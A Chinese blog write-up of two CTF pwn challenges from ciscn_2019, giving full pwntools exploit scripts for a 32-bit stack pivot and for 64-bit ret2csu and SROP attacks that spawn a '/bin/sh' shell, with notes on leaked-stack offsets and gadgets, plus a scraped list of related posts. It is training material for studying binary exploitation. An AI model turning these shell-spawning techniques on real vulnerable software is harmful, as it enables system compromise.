这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意

ciscn_2019_es_2

这题是栈迁移的题,先上exp

 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 leave_ret=0x08048562
6 sys = 0x8048400
7 p=process('./ciscn_2019_es_2')
8 p.recvuntil('What\'s your name?')
9 p.send(0x20*'a'+'b'*8)
10 p.recvuntil('bbbbbbbb')
11 ebp_addr=u32(p.recv(4).ljust(4,'\x00'))
12 print('ebp_addr:',hex(ebp_addr))
13 s_addr=ebp_addr-0x38 # 这个ebp指向的地址是ebp+0x10的位置,然后再减去0x28个(s占的位)
14
15 # 这个payload2要反着拼
16 # s_addr是输入字符串地址,即设置第一次leave的ebp
17 # 第二次leave的ebp地址是aaaa,pop ebp后返回到sys执行shell
18 payload2='a'*4+p32(sys)+p32(0)+p32(ebp_addr-0x28)+"/bin/sh"
19 payload2=payload2.ljust(0x28,'\x00')
20 payload2+=p32(s_addr)+p32(leave_ret)
21
22 p.send(payload2)23 p.interactive()

程序有两次输入点,但是只有0x30个输入,s字符串有0x28个栈地址,所以如果覆盖也只能覆盖ebp和ret地址,无法做到直接getshell

所以第一次输入时先把s栈盖满,泄露出ebp的值

这里要注意,你取到的值是ebp的值,而不是栈的值,而ebp的值等于ebp栈+0x10的栈值(这里坑了我半天),画个图就是:

    0xffff00ff   |    bbbb

ebp   0xffff0100 |  0xffff0010

      .   |  .

    .   |  .

    .   |  .

    0xffff0110 |  xxxxxxxxx

然后下面这个栈迁移的payload已经说的比较清楚了,主要在于两次leave;ret;或者说mov esp,ebp;  pop ebp;  ret;

这块动调一下就明白了,不过如果正向去拼的话要有从后往前拼payload的思想,不然就是一脸懵逼

最后总结:此方法虽然懂了,但是payload不太好想得到,在遇到此类题再练习吧

ciscn_2019_s_3

两种解法,都值得学习

解法一:利用通用csu

第一次遇到csu_rop,调试了半天还是挺费劲的,老规矩先上exp

 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7
8 # 解法一:利用通用csu
9 main_addr=elf.symbols['main']
10 rax_59=0x04004E2 # mov rax, 3Bh (10进制59)
11 pop_rdi=0x4005a3
12
13 p.sendline('/bin/sh\x00'*2+p64(main_addr)) # 0x10个字节
14 # /bin/sh 地址 0x7ffe6dc4e990
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 print('stack_addr',hex(stack_addr))# 0x7ffe6dc4eaa8
18 # 差值 0x138 因为返回的地址是main,main中做了栈帧
19 bash_addr=stack_addr-0x138 #找第二次的输入是0x138
20 print('bash_addr',hex(bash_addr))
21
22 # get_shell
23 pop_rbx_rbp_r12_r13_r14_r15=0x40059A
24 mov_rdx_r13=0x0400580
25 syscall=0x0400517
26 #   $rax==59
27 #   $rdi==“/bin/sh”
28 #   $rsi==0
29 #   $rdx==0
30 #   syscall
31
32
33 payload2 = '/bin/sh\x00'+'A'*0x8+p64(rax_59)# rax设置为59
34 # 设置各种寄存器,其中r12要注意,因为下面进行的是call r12+0,为了方便就call rax_59,这样就能巧妙的回来了
35 payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(bash_addr+0x10)+p64(0)*3 #这里要注意rbx和rbp
36 # 设置rsi和rdx为0
37 payload2 += p64(mov_rdx_r13)
38 # cmp rbx,rbp 后jnz必须不能被触发,所以又进行了pop_rbx_rbp_r12_r13_r14_r15
39 payload2 += 'a'*0x38 # 7*8=56 6个寄存器,和一个add rsp,8(栈增加了8个) 被填充
40 #设置rdi为/bin/sh
41 payload2 += p64(pop_rdi) + p64(bash_addr)
42 # 触发系统调用
43 payload2 +=p64(syscall)
44
45 p.sendline(payload2)
46 p.interactive()

还是先泄露栈地址,这里有个巨大的深坑!!!你如果返回地址填main就是相差0x138,如果你返回vuln就是0x118,这也是各位大佬payload不同的主要地方

然后就是构造csu_rop的过程了,建议大家边动调边看解释

首先是返回到rax设置为59的位置(这里如果你返回别的,后面的构造会难受),然后pop各种寄存器,就是去初始化各种寄存器

这里也要注意r12的值,因为在csu开头会call [r12](后面那个寄存器被你置零,所以没偏移了),但r12跳转到哪比较好呢?按理说只要ret就行,但是这样各个寄存器的值无法保证不改变,尤其是rax

所以这里巧妙的去call输入地址加0x10的位置,就是你先设置的rax_59

然后再说一下rbx和rbp,必须设置为0和1,顺序不能变。这是因为在后面跳出时要比较他俩,而比较前rbx会加1,这样相等才能跳出循环

0x38个‘a’就是在跳出循环后,其实又一次进行了pop_rbx_rbp_r12_r13_r14_r15和一个add rsp,8; 这样必须把他们覆盖掉,也就是8*7=56个地址

好了,终于把所有的坑排清了,最后就比较简单了,设置rdi为/bin/sh,并触发系统调用

总结:csu虽然说比较通用,但是真的麻烦啊,而且得在前面考虑后面,明显不符合人类思维,难受的一批,但是作为学习此方式的途径也是收获很多

解法二:SROP

参考链接:https://www.freebuf.com/articles/network/87447.html

总体思路就是

# SROP: Sigreturn Oriented Programming ,系统Signal Dispatch之前会将所有寄存器压入栈,
# 然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。
# 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。
 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7 context.arch = elf.arch #必要,指定cpu架构
8
9 rt_sigreturn=0x4004DA
10 syscall=0x0400517
11 vuln_addr=0x4004ED
12
13 payload="/bin/sh\x00"+'a'*8+p64(vuln_addr)
14 p.send(payload)
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 #由于这次返回的是vuln,所以是0x118
18 bash_addr=stack_addr-0x118
19 print("stack_addr:",stack_addr)
20 print("bash_addr:",bash_addr)
21
22 # 设置sigframe关键寄存器
23 sigframe = SigreturnFrame()
24 sigframe.rax = constants.SYS_execve # 59
25 sigframe.rdi = bash_addr
26 sigframe.rsi = 0
27 sigframe.rdx = 0
28 sigframe.rip = syscall
29
30 print('sigframe.rax:',sigframe.rax)
31 # syscall调用rt_sigreturn
32 payload = "/bin/sh\x00/bin/sh\x00" + p64(rt_sigreturn)+p64(syscall)
33 # 设置sigframe返回地址值和各种寄存器
34 payload += str(sigframe)
35
36 p.sendline(payload)
37 p.interactive()

如果大家接触过pushad或pushfd的命令程序应该比较熟悉这种形式

相当于是把寄存器拉到了栈上,而程序如果存在栈溢出,就可以去调用rt_sigreturn这个函数,而这个函数可以随意更改其内寄存器,把寄存器精心构造的话就实现了getshell

pwntools提供了SigreturnFrame(),直接进行结构体的设置为getshell模式

这里也可以看一下constants.SYS_execve,在此架构下就是59

payload就是先同系统调用触发rt_sigreturn,在后面的栈上设置getshell参数和返回地址(当然这里没有设置,因为不需要继续rop下去了)

总结:SROP做着题就很简单了,但是前提得知道,读过论文,学习姿势+1

记两道最近做的pwn题(ciscn_2019)的更多相关文章

  1. 与高精死杠的几天——记两道简单的高精dp

    (同样也是noip往年的题 1​.矩阵取数游戏 题目链接[Luogu P1005 矩阵取数游戏] \(\mathcal{SOLUTION}:\) 通过对题目条件的分析,我们可以发现,每一行取数对答案的 ...

  2. 『ACM C++』Virtual Judge | 两道基础题 - The Architect Omar && Malek and Summer Semester

    这几天一直在宿舍跑PY模型,学校的ACM寒假集训我也没去成,来学校的时候已经18号了,突然加进去也就上一天然后排位赛了,没学什么就去打怕是要被虐成渣,今天开学前一天,看到最后有一场大的排位赛,就上去试 ...

  3. FJOI2020 的两道组合计数题

    最近细品了 FJOI2020 的两道计数题,感觉抛开数据范围不清还卡常不谈里面的组合计数技巧还是挺不错的.由于这两道题都基于卡特兰数的拓展,所以我们把它们一并研究掉. 首先是 D1T3 ,先给出简要题 ...

  4. 两道人数多,课程少,query多的题

    #每天进步一点点# 来两道很相似的题目~ (智商啊智商.....) hihoCoder #1236:Scores (简单的分桶法+bitset) 2015 Beijing Online的最后一题.题目 ...

  5. ACM/ICPC 之 两道dijkstra练习题(ZOJ1053(POJ1122)-ZOJ1053)

    两道较为典型的单源最短路径问题,采用dijkstra解法 本来是四道练习题,后来发现后面两道用dijkstra来解的话总觉得有点冗余了,因此暂且分成三篇博客(本篇以及后两篇). ZOJ1053(POJ ...

  6. 50道经典的JAVA编程题(41-45)

    50道经典的JAVA编程题(41-45),苦逼的程序猿,晚上睡不着了编程吧~今天坚持做10道题!发现编程能是我快乐...O(∩_∩)O哈哈~能平静我烦乱的心,剩下5道题留到考试完了再做吧!该睡觉了.. ...

  7. 50道经典的JAVA编程题(36-40)

    50道经典的JAVA编程题(36-40),今天晚上心情压抑,不爽,继续做题,管它明天考试,我继续我的java,一个周末都在看微机原理看得的很头疼啊~明天该挂科就挂吧,不在乎了~~~ [程序36] Ar ...

  8. 50道经典的JAVA编程题(21-25)

    50道经典的JAVA编程题(21-25),明天早上java考试了,还是坚持做题吧...这题比老师的题好多了! [程序21]TestJieCheng.java题目:求1+2!+3!+...+20!的和1 ...

  9. 50道经典的JAVA编程题 (16-20)

    50道经典的JAVA编程题 (16-20),用了快一个下午来做这10道题了,整理博客的时间貌似大于编程的时间啊..哈哈 [程序16]Nine.java 题目:输出9*9口诀. 1.程序分析:分行与列考 ...

随机推荐

  1. 查看mysql的数据库物理存放位置

    1.查看mysql的数据库物理存放位置:    show global variables like "%datadir%";

  2. node.js学习(1)全局对象

    1 计时器 1)三秒后执行 2) 每隔2秒执行一次 3)清除计时器 2 全局对象 1)当前文件所在目录 2)当前文件路径

  3. Python+Selenium学习笔记19 - 自动发送邮件

    发送简单的邮件 用一个QQ邮箱发送到另一个QQ邮件. 首先设置QQ邮箱,邮箱设置 -> 账号 开启SMTP服务,点击开启按钮,按提示进行操作,需要1毛钱的短信费.开启后如下所示 1 # codi ...

  4. grasshopper DataTree 树形数据以及Graft Flatten Simplify的理解

    问题的来源: 要在grasshopper里面输出 类似于二维数组的数据 但是在 grasshopper里的 C# 电池里面,无法显示 二维ArrayList里面的数据. 在 C# 电池里参考这个帖子: ...

  5. 201871030138-杨蕊媛 实验三 结对项目—《D{0-1}KP 实例数据集算法实验平台》项目报告

    项目 内容 班级博客链接 https://edu.cnblogs.com/campus/xbsf/2018CST 这个作业要求链接 https://www.cnblogs.com/nwnu-daizh ...

  6. MegEngine亚线性显存优化

    MegEngine亚线性显存优化 MegEngine经过工程扩展和优化,发展出一套行之有效的加强版亚线性显存优化技术,既可在计算存储资源受限的条件下,轻松训练更深的模型,又可使用更大batch siz ...

  7. 视觉SLAM的主要功能模块分析

    视觉SLAM的主要功能模块分析 一.基本概念 SLAM (simultaneous localization and mapping),也称为CML (Concurrent Mapping and L ...

  8. MindSpore应用目标

    MindSpore应用目标 以下将展示MindSpore近一年的高阶计划,会根据用户的反馈诉求,持续调整计划的优先级. 总体而言,会努力在以下几个方面不断改进. 1. 提供更多的预置模型支持. 2. ...

  9. “ compiler-rt”运行时runtime库

    " compiler-rt"运行时runtime库 编译器-rt项目包括: Builtins-一个简单的库,提供了代码生成和其他运行时runtime组件所需的特定于目标的低级接口. ...

  10. 【NX二次开发】常用的标准对话框

    1.uc1601 单按钮模态对话框 1 //来自"王牌飞行员_里海"的测试源码(qq群753801561) 2 extern DllExport void ufusr(char * ...